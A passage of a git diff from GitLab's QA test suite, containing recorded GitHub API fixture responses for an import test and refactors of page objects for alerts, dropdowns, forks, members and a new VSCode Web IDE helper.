+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa",
+ "id": 40021320,
+ "login": "gitlab-qa",
+ "node_id": "MDQ6VXNlcjQwMDIxMzIw",
+ "organizations_url": "https://api.github.com/users/gitlab-qa/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues/2/comments
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "author_association": "OWNER",
+ "body": "Some test PR comment",
+ "created_at": "2022-03-07T08:27:17Z",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#issuecomment-1060322120",
+ "id": 1060322120,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2",
+ "node_id": "IC_kwDOG9XHMM4_MztI",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060322120/reactions"
+ },
+ "updated_at": "2022-03-07T08:27:17Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060322120",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues/1/comments
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "author_association": "OWNER",
+ "body": "Some test comment",
+ "created_at": "2022-03-07T08:07:40Z",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/issues/1#issuecomment-1060295687",
+ "id": 1060295687,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1",
+ "node_id": "IC_kwDOG9XHMM4_MtQH",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060295687/reactions"
+ },
+ "updated_at": "2022-03-07T08:07:47Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060295687",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "author_association": "OWNER",
+ "body": "Another test comment",
+ "created_at": "2022-03-07T08:27:03Z",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/issues/1#issuecomment-1060321905",
+ "id": 1060321905,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1",
+ "node_id": "IC_kwDOG9XHMM4_Mzpx",
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060321905/reactions"
+ },
+ "updated_at": "2022-03-07T08:27:03Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/comments/1060321905",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/branches
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "commit": {
+ "sha": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits/05938cc9b0773f49bf800ceabcaa01b389a5d943"
+ },
+ "name": "gitlab-qa-github-patch-1",
+ "protected": false,
+ "protection": {
+ "enabled": false,
+ "required_status_checks": {
+ "checks": [],
+ "contexts": [],
+ "enforcement_level": "off"
+ }
+ },
+ "protection_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/gitlab-qa-github-patch-1/protection"
+ },
+ {
+ "commit": {
+ "sha": "fff7d743291b72165fea8781d5924650230e8d6c",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits/fff7d743291b72165fea8781d5924650230e8d6c"
+ },
+ "name": "main",
+ "protected": true,
+ "protection": {
+ "enabled": true,
+ "required_status_checks": {
+ "checks": [],
+ "contexts": [],
+ "enforcement_level": "non_admins"
+ }
+ },
+ "protection_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection"
+ },
+ {
+ "commit": {
+ "sha": "fff7d743291b72165fea8781d5924650230e8d6c",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/commits/fff7d743291b72165fea8781d5924650230e8d6c"
+ },
+ "name": "release",
+ "protected": true,
+ "protection": {
+ "enabled": true,
+ "required_status_checks": {
+ "checks": [],
+ "contexts": [],
+ "enforcement_level": "off"
+ }
+ },
+ "protection_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/release/protection"
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/branches/main/protection
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ {
+ "allow_deletions": {
+ "enabled": false
+ },
+ "allow_force_pushes": {
+ "enabled": false
+ },
+ "allow_fork_syncing": {
+ "enabled": false
+ },
+ "block_creations": {
+ "enabled": false
+ },
+ "enforce_admins": {
+ "enabled": false,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection/enforce_admins"
+ },
+ "lock_branch": {
+ "enabled": false
+ },
+ "required_conversation_resolution": {
+ "enabled": true
+ },
+ "required_linear_history": {
+ "enabled": false
+ },
+ "required_pull_request_reviews": {
+ "dismiss_stale_reviews": true,
+ "require_code_owner_reviews": true,
+ "require_last_push_approval": false,
+ "required_approving_review_count": 1,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection/required_pull_request_reviews"
+ },
+ "required_signatures": {
+ "enabled": true,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection/required_signatures"
+ },
+ "required_status_checks": {
+ "checks": [],
+ "contexts": [],
+ "contexts_url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection/required_status_checks/contexts",
+ "strict": false,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection/required_status_checks"
+ },
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/main/protection"
+ }
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/branches/release/protection
+ method: GET
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ {
+ "allow_deletions": {
+ "enabled": false
+ },
+ "allow_force_pushes": {
+ "enabled": true
+ },
+ "allow_fork_syncing": {
+ "enabled": false
+ },
+ "block_creations": {
+ "enabled": false
+ },
+ "enforce_admins": {
+ "enabled": false,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/release/protection/enforce_admins"
+ },
+ "lock_branch": {
+ "enabled": true
+ },
+ "required_conversation_resolution": {
+ "enabled": false
+ },
+ "required_linear_history": {
+ "enabled": false
+ },
+ "required_pull_request_reviews": {
+ "dismiss_stale_reviews": false,
+ "require_code_owner_reviews": true,
+ "require_last_push_approval": false,
+ "required_approving_review_count": 1,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/release/protection/required_pull_request_reviews"
+ },
+ "required_signatures": {
+ "enabled": false,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/release/protection/required_signatures"
+ },
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/branches/release/protection"
+ }
diff --git a/qa/qa/fixtures/package_managers/nuget/nuget_install_package.yaml.erb b/qa/qa/fixtures/package_managers/nuget/nuget_install_package.yaml.erb
index 39b65a55884..823525d648a 100644
--- a/qa/qa/fixtures/package_managers/nuget/nuget_install_package.yaml.erb
+++ b/qa/qa/fixtures/package_managers/nuget/nuget_install_package.yaml.erb
@@ -1,4 +1,4 @@
-image: mcr.microsoft.com/dotnet/sdk:5.0
+image: mcr.microsoft.com/dotnet/sdk:7.0
stages:
- install
diff --git a/qa/qa/fixtures/package_managers/nuget/nuget_upload_package.yaml.erb b/qa/qa/fixtures/package_managers/nuget/nuget_upload_package.yaml.erb
index 7c88eb49be0..dc3311d3a1d 100644
--- a/qa/qa/fixtures/package_managers/nuget/nuget_upload_package.yaml.erb
+++ b/qa/qa/fixtures/package_managers/nuget/nuget_upload_package.yaml.erb
@@ -1,4 +1,4 @@
-image: mcr.microsoft.com/dotnet/sdk:5.0
+image: mcr.microsoft.com/dotnet/sdk:7.0
stages:
- deploy
diff --git a/qa/qa/flow/alert_settings.rb b/qa/qa/flow/alert_settings.rb
index 0e884f58773..2a464c16c6d 100644
--- a/qa/qa/flow/alert_settings.rb
+++ b/qa/qa/flow/alert_settings.rb
@@ -5,9 +5,12 @@ module QA
module AlertSettings
extend self
- def setup_http_endpoint_and_send_alert(integration_name: nil, payload: nil)
- integration_name ||= random_word
- payload ||= { title: random_word, description: random_word }
+ def setup_http_endpoint(
+ integration_name: random_word,
+ payload: { title: random_word, description: random_word },
+ send: true
+ )
+ credentials = {}
Page::Project::Menu.perform(&:go_to_monitor_settings)
Page::Project::Settings::Monitor.perform do |setting|
setting.expand_alerts do |alert|
@@ -16,10 +19,42 @@ module QA
alert.enter_integration_name(integration_name)
alert.activate_integration
alert.save_and_create_alert
- alert.fill_in_test_payload(payload.to_json)
- alert.send_test_alert
+
+ if send
+ alert.fill_in_test_payload(payload.to_json)
+ alert.send_test_alert
+ else
+ alert.go_to_view_credentials
+ credentials = { url: alert.webhook_url, auth_key: alert.authorization_key }
+ end
+ end
+ end
+
+ credentials
+ end
+
+ def setup_prometheus(payload: { title: random_word, description: random_word }, send: true)
+ credentials = {}
+ Page::Project::Menu.perform(&:go_to_monitor_settings)
+ Page::Project::Settings::Monitor.perform do |setting|
+ setting.expand_alerts do |alert|
+ alert.add_new_integration
+ alert.select_prometheus
+ alert.activate_integration
+ alert.fill_in_prometheus_url
+ alert.save_and_create_alert
+
+ if send
+ alert.fill_in_test_payload(payload.to_json)
+ alert.send_test_alert
+ else
+ alert.go_to_view_credentials
+ credentials = { url: alert.webhook_url, auth_key: alert.authorization_key }
+ end
end
end
+
+ credentials
end
private
diff --git a/qa/qa/page/component/content_editor.rb b/qa/qa/page/component/content_editor.rb
index e9fc575ae39..a9abda42610 100644
--- a/qa/qa/page/component/content_editor.rb
+++ b/qa/qa/page/component/content_editor.rb
@@ -15,7 +15,6 @@ module QA
base.view 'app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue' do
element :text_style_dropdown
- element :text_style_menu_item
end
base.view 'app/assets/javascripts/content_editor/components/toolbar_image_button.vue' do
@@ -33,9 +32,7 @@ module QA
# wait for text style option to become active after typing
has_active_element?(:text_style_dropdown, wait: 1)
click_element(:text_style_dropdown)
- within_element(:text_style_dropdown) do
- click_element(:text_style_menu_item, text_style: heading)
- end
+ find_element(:text_style_dropdown).find('li', text: heading).click
end
end
diff --git a/qa/qa/page/component/dropdown.rb b/qa/qa/page/component/dropdown.rb
index e6204fb5332..c3e0fefee0d 100644
--- a/qa/qa/page/component/dropdown.rb
+++ b/qa/qa/page/component/dropdown.rb
@@ -25,6 +25,12 @@ module QA
find('span.gl-dropdown-button-text').text
end
+ def all_items
+ raise NotImplementedError if use_select2?
+
+ find_all("li.gl-dropdown-item").map(&:text)
+ end
+
def clear_current_selection_if_present
return super if use_select2?
@@ -40,7 +46,12 @@ module QA
def search_item(item_text)
return super if use_select2?
- find('div.gl-search-box-by-type input[type="Search"]').set(item_text)
+ find('div.gl-listbox-search input[type="Search"]').set(item_text)
+ wait_for_search_to_complete
+ end
+
+ def send_keys_to_search(item_text)
+ find('div.gl-listbox-search input[type="Search"]').send_keys(item_text)
wait_for_search_to_complete
end
@@ -103,6 +114,7 @@ module QA
def use_select2?
@use_select2 ||= has_css?('.select2-container', wait: 1)
end
+
# rubocop:enable Gitlab/PredicateMemoization
end
end
diff --git a/qa/qa/page/component/groups_filter.rb b/qa/qa/page/component/groups_filter.rb
index ec59d010718..ea91ced8679 100644
--- a/qa/qa/page/component/groups_filter.rb
+++ b/qa/qa/page/component/groups_filter.rb
@@ -24,36 +24,29 @@ module QA
private
+ # Check if a group exists in private or public tab
+ # @param name [String] group name
+ # @return [Boolean] whether a group with given name exists
def has_filtered_group?(name)
- # Filter and submit to reload the page and only retrieve the filtered results
- find_element(:groups_filter_field).set(name).send_keys(:return)
-
- # Since we submitted after filtering, the presence of
- # groups_list_tree_container means we have the complete filtered list
- # of groups
- has_element?(:groups_list_tree_container, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)
- # If there are no groups we'll know immediately because we filtered the list
- if page.has_text?('No groups or projects matched your search',
-wait: 0) || page.has_text?('No groups matched your search', wait: 0)
- return false unless has_element?(:public_groups_tab)
-
- # Try for public groups
- click_element(:public_groups_tab)
- # Filter and submit to reload the page and only retrieve the filtered results
- find_element(:groups_filter_field).set(name).send_keys(:return)
-
- # Since we submitted after filtering, the presence of
- # groups_list_tree_container means we have the complete filtered list
- # of groups
- has_element?(:groups_list_tree_container, wait: QA::Support::Repeater::DEFAULT_MAX_WAIT_TIME)
-
- return false if page.has_text?('No groups or projects matched your search',
-wait: 0) || page.has_text?('No groups matched your search', wait: 0)
- end
+ filter_group(name)
+ return true if page.has_link?(name, wait: 0) # element containing link to group
+
+ return false unless has_element?(:public_groups_tab, wait: 0)
- # The name will be present as filter input so we check for a link, not text
+ # Check public groups
+ click_element(:public_groups_tab)
+ filter_group(name)
page.has_link?(name, wait: 0)
end
+
+ # Filter by group name
+ # @param name [String] group name
+ # @return [Boolean] whether the filter returned any group
+ def filter_group(name)
+ fill_element(:groups_filter_field, name).send_keys(:return)
+ finished_loading?
+ has_element?(:groups_list_tree_container, wait: 1)
+ end
end
end
end
diff --git a/qa/qa/page/component/invite_members_modal.rb b/qa/qa/page/component/invite_members_modal.rb
index 295b5134bd5..eb791594d22 100644
--- a/qa/qa/page/component/invite_members_modal.rb
+++ b/qa/qa/page/component/invite_members_modal.rb
@@ -41,7 +41,7 @@ module QA
click_element :invite_a_group_button
end
- def add_member(username, access_level = 'Developer')
+ def add_member(username, access_level = 'Developer', refresh_page: true)
open_invite_members_modal
within_element(:invite_members_modal_content) do
@@ -51,10 +51,10 @@ module QA
set_access_level(access_level)
end
- send_invite
+ send_invite(refresh_page)
end
- def invite_group(group_name, access_level = 'Guest')
+ def invite_group(group_name, access_level = 'Guest', refresh_page: true)
open_invite_group_modal
within_element(:invite_members_modal_content) do
@@ -69,7 +69,13 @@ module QA
set_access_level(access_level)
end
- send_invite
+ send_invite(refresh_page)
+ end
+
+ def send_invite(refresh = false)
+ click_element :invite_button
+ Support::WaitForRequests.wait_for_requests
+ page.refresh if refresh
end
private
@@ -78,12 +84,6 @@ module QA
# Guest option is selected by default, skipping these steps if desired option is 'Guest'
select_element(:access_level_dropdown, access_level) unless access_level == 'Guest'
end
-
- def send_invite
- click_element :invite_button
- Support::WaitForRequests.wait_for_requests
- page.refresh
- end
end
end
end
diff --git a/qa/qa/page/component/wiki_page_form.rb b/qa/qa/page/component/wiki_page_form.rb
index 7a7329e6110..9143a25d9ab 100644
--- a/qa/qa/page/component/wiki_page_form.rb
+++ b/qa/qa/page/component/wiki_page_form.rb
@@ -17,7 +17,10 @@ module QA
base.view 'app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue' do
element :markdown_editor_form_field
- element :editing_mode_button
+ end
+
+ base.view 'app/assets/javascripts/vue_shared/components/markdown/editor_mode_dropdown.vue' do
+ element :editing_mode_switcher
end
base.view 'app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue' do
@@ -55,8 +58,9 @@ module QA
end
def use_new_editor
- within_element(:editing_mode_button) do
- find('label', text: 'Rich text').click
+ click_element(:editing_mode_switcher)
+ within_element(:editing_mode_switcher) do
+ find('button', text: 'Rich text').click
end
wait_until(reload: false) do
diff --git a/qa/qa/page/file/form.rb b/qa/qa/page/file/form.rb
index 2e0f8c59213..d0113d66dec 100644
--- a/qa/qa/page/file/form.rb
+++ b/qa/qa/page/file/form.rb
@@ -15,7 +15,6 @@ module QA
end
view 'app/views/projects/blob/_template_selectors.html.haml' do
- element :template_type_dropdown
element :gitignore_dropdown
element :gitlab_ci_yml_dropdown
element :dockerfile_dropdown
@@ -23,13 +22,20 @@ module QA
end
def add_name(name)
- fill_element(:file_name_field, with: name)
+ fill_element(:file_name_field, name)
end
- def select_template(template_type, template)
- click_element :template_type_dropdown
- click_link template_type
+ def add_custom_name(template_name)
+ case template_name
+ # Name has to be exactly LICENSE for template-type-dropdown to appear
+ when 'LICENSE'
+ add_name(template_name.to_s)
+ else
+ add_name("#{SecureRandom.hex(8)}/#{template_name}")
+ end
+ end
+ def select_template(template_type, template)
case template_type
when '.gitignore'
click_element :gitignore_dropdown
diff --git a/qa/qa/page/group/members.rb b/qa/qa/page/group/members.rb
index 39003eb03c1..c7d63b97b4f 100644
--- a/qa/qa/page/group/members.rb
+++ b/qa/qa/page/group/members.rb
@@ -22,8 +22,12 @@ module QA
element :access_level_link
end
- view 'app/assets/javascripts/members/components/action_buttons/remove_member_button.vue' do
- element :delete_member_button
+ view 'app/assets/javascripts/members/components/action_dropdowns/user_action_dropdown.vue' do
+ element :user_action_dropdown
+ end
+
+ view 'app/assets/javascripts/members/components/action_dropdowns/remove_member_dropdown_item.vue' do
+ element :delete_member_dropdown_item
end
view 'app/assets/javascripts/members/components/members_tabs.vue' do
@@ -41,7 +45,8 @@ module QA
def remove_member(username)
within_element(:member_row, text: username) do
- click_element :delete_member_button
+ click_element :user_action_dropdown
+ click_element :delete_member_dropdown_item
end
within_element(:remove_member_modal) do
diff --git a/qa/qa/page/merge_request/show.rb b/qa/qa/page/merge_request/show.rb
index aacff7c4172..6fd48692730 100644
--- a/qa/qa/page/merge_request/show.rb
+++ b/qa/qa/page/merge_request/show.rb
@@ -409,6 +409,7 @@ module QA
fill_element(:reply_field, '')
fill_element(:reply_field, initial_content.gsub(/(```suggestion:-0\+0\n).*(\n```)/, "\\1#{suggestion}\\2"))
click_element(:comment_now_button)
+ wait_for_requests
end
def apply_suggestion_with_message(message)
@@ -434,9 +435,9 @@ module QA
end
def revert_change!
- # retry when the modal doesn't appear for large MRs as the onClick listener is initialized after the click
- # https://gitlab.com/gitlab-org/gitlab/-/issues/366336
- retry_on_exception do
+ # reload page when the revert modal occasionally doesn't appear in ee:large-setup job
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/386623 (transient issue)
+ retry_on_exception(reload: true) do
click_element(:revert_button, Page::Component::CommitModal)
end
click_element(:submit_commit_button)
diff --git a/qa/qa/page/project/fork/new.rb b/qa/qa/page/project/fork/new.rb
index b622b341685..2b36766d996 100644
--- a/qa/qa/page/project/fork/new.rb
+++ b/qa/qa/page/project/fork/new.rb
@@ -5,6 +5,8 @@ module QA
module Project
module Fork
class New < Page::Base
+ include ::QA::Page::Component::Dropdown
+
view 'app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue' do
element :fork_project_button
element :fork_privacy_button
@@ -12,9 +14,6 @@ module QA
view 'app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue' do
element :select_namespace_dropdown
- element :select_namespace_dropdown_item
- element :select_namespace_dropdown_search_field
- element :select_namespace_dropdown_item
end
def fork_project(namespace = Runtime::Namespace.path)
@@ -25,20 +24,13 @@ module QA
def get_list_of_namespaces
click_element(:select_namespace_dropdown)
- wait_until(reload: false) do
- has_element?(:select_namespace_dropdown_item)
- end
- all_elements(:select_namespace_dropdown_item, minimum: 1).map(&:text)
+ all_items
end
def choose_namespace(namespace)
retry_on_exception do
click_element(:select_namespace_dropdown)
- fill_element(:select_namespace_dropdown_search_field, namespace)
- wait_until(reload: false) do
- has_element?(:select_namespace_dropdown_item, text: namespace)
- end
- click_button(namespace)
+ search_and_select(namespace)
end
end
end
diff --git a/qa/qa/page/project/pipeline/new.rb b/qa/qa/page/project/pipeline/new.rb
index 1d85d072e34..54c3bb0ddeb 100644
--- a/qa/qa/page/project/pipeline/new.rb
+++ b/qa/qa/page/project/pipeline/new.rb
@@ -5,7 +5,7 @@ module QA
module Project
module Pipeline
class New < QA::Page::Base
- view 'app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue' do
+ view 'app/assets/javascripts/ci/pipeline_new/components/pipeline_new_form.vue' do
element :run_pipeline_button, required: true
element :ci_variable_row_container
element :ci_variable_key_field
diff --git a/qa/qa/page/project/settings/alerts.rb b/qa/qa/page/project/settings/alerts.rb
index a74a227d697..7b1d738ec3c 100644
--- a/qa/qa/page/project/settings/alerts.rb
+++ b/qa/qa/page/project/settings/alerts.rb
@@ -23,6 +23,7 @@ module QA
element :save_and_create_alert_button
element :test_payload_field
element :send_test_alert_button
+ element :prometheus_url_field
end
def enable_incident_for_alert
@@ -59,10 +60,22 @@ module QA
click_element(:integration_name_field)
end
+ def select_prometheus
+ click_element(:integration_type_dropdown)
+ find("option[value='PROMETHEUS']").click
+
+ # Click outside of the list to close it
+ click_element(:prometheus_url_field)
+ end
+
def enter_integration_name(name)
fill_element(:integration_name_field, name)
end
+ def fill_in_prometheus_url(url = Runtime::Scenario.gitlab_address)
+ fill_element(:prometheus_url_field, url)
+ end
+
def activate_integration
within_element(:active_toggle_container) do
find('.gl-toggle').click
@@ -82,6 +95,18 @@ module QA
def send_test_alert
click_element(:send_test_alert_button)
end
+
+ def go_to_view_credentials
+ click_link_with_text('View credentials')
+ end
+
+ def webhook_url
+ find('input[id="url"]').value
+ end
+
+ def authorization_key
+ find('input[id="authorization-key"]').value
+ end
end
end
end
diff --git a/qa/qa/page/project/settings/ci_variables.rb b/qa/qa/page/project/settings/ci_variables.rb
index 316920ffa90..8df0aaa9f27 100644
--- a/qa/qa/page/project/settings/ci_variables.rb
+++ b/qa/qa/page/project/settings/ci_variables.rb
@@ -7,7 +7,7 @@ module QA
class CiVariables < Page::Base
include QA::Page::Settings::Common
- view 'app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue' do
+ view 'app/assets/javascripts/ci/ci_variable_list/components/ci_variable_modal.vue' do
element :ci_variable_key_field
element :ci_variable_value_field
element :ci_variable_save_button
diff --git a/qa/qa/page/project/settings/protected_branches.rb b/qa/qa/page/project/settings/protected_branches.rb
index 659fe198d49..3eddd0fd33a 100644
--- a/qa/qa/page/project/settings/protected_branches.rb
+++ b/qa/qa/page/project/settings/protected_branches.rb
@@ -51,10 +51,15 @@ module QA
within_element(:"allowed_to_#{action}_dropdown_content") do
click_on allowed[:roles][:description]
- allowed[:users].each { |user| click_on user.username } if allowed.key?(:users)
- allowed[:groups].each { |group| click_on group.name } if allowed.key?(:groups)
+ allowed[:users].each { |user| select_name user.username } if allowed.key?(:users)
+ allowed[:groups].each { |group| select_name group.name } if allowed.key?(:groups)
end
end
+
+ def select_name(name)
+ fill_element(:dropdown_input_field, name)
+ click_on name
+ end
end
end
end
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index 168bfd6aa0a..3c2b8d56f1d 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -47,13 +47,12 @@ module QA
element :tree_holder, '.tree-holder' # rubocop:disable QA/ElementWithPattern
end
- view 'app/views/projects/_fork_info.html.haml' do
+ view 'app/assets/javascripts/repository/components/fork_info.vue' do
element :forked_from_link
end
view 'app/views/projects/buttons/_fork.html.haml' do
- element :fork_label, "%span= s_('ProjectOverview|Fork')" # rubocop:disable QA/ElementWithPattern
- element :fork_link, "link_to new_project_fork_path(@project)" # rubocop:disable QA/ElementWithPattern
+ element :fork_button
end
view 'app/views/projects/empty.html.haml' do
@@ -97,8 +96,12 @@ module QA
click_element :new_file_menu_item
end
+ # Click by JS is needed to bypass the VSCode Web IDE popover
+ # Change back to regular click_element when vscode_web_ide FF is removed
+ # Rollout issue: https://gitlab.com/gitlab-org/gitlab/-/issues/371084
def fork_project
- click_on 'Fork'
+ fork_button = find_element(:fork_button)
+ click_by_javascript(fork_button)
end
def forked_from?(parent_project_name)
diff --git a/qa/qa/page/project/web_ide/vscode.rb b/qa/qa/page/project/web_ide/vscode.rb
new file mode 100644
index 00000000000..dd5222cfd93
--- /dev/null
+++ b/qa/qa/page/project/web_ide/vscode.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+# VSCode WebIDE is built off an iFrame application therefore we are uanble to use `qa-selectors`
+module QA
+ module Page
+ module Project
+ module WebIDE
+ class VSCode < Page::Base
+ # Use to Pass Test::Sanity::Selectors temporarily until iframe [data-qa-* selector added
+ view 'app/views/shared/_broadcast_message.html.haml' do
+ element :broadcast_notification_container
+ element :close_button
+ end
+
+ # Used for stablility, due to feature_caching of vscode_web_ide
+ def wait_for_ide_to_load
+ page.driver.browser.switch_to.window(page.driver.browser.window_handles.last)
+ wait_for_requests
+ Support::Waiter.wait_until(max_duration: 60, reload_page: page, retry_on_exception: true) do
+ within_vscode_editor do
+ # vscode file_explorer element
+ page.has_css?('.explorer-folders-view', visible: true)
+ end
+ end
+ end
+
+ def within_vscode_editor(&block)
+ iframe = find('#ide iframe')
+ page.within_frame(iframe, &block)
+ end
+
+ def create_new_folder(name)
+ within_vscode_editor do
+ # Use for stability, WebIDE inside an iframe is finnicky
+ Support::Waiter.wait_until(max_duration: 60, retry_on_exception: true) do
+ page.find('.explorer-folders-view').right_click
+ # new_folder_button
+ page.has_css?('[aria-label="New Folder..."]', visible: true)
+ end
+
+ # Additonal wait for stability, webdriver sometimes moves too fast
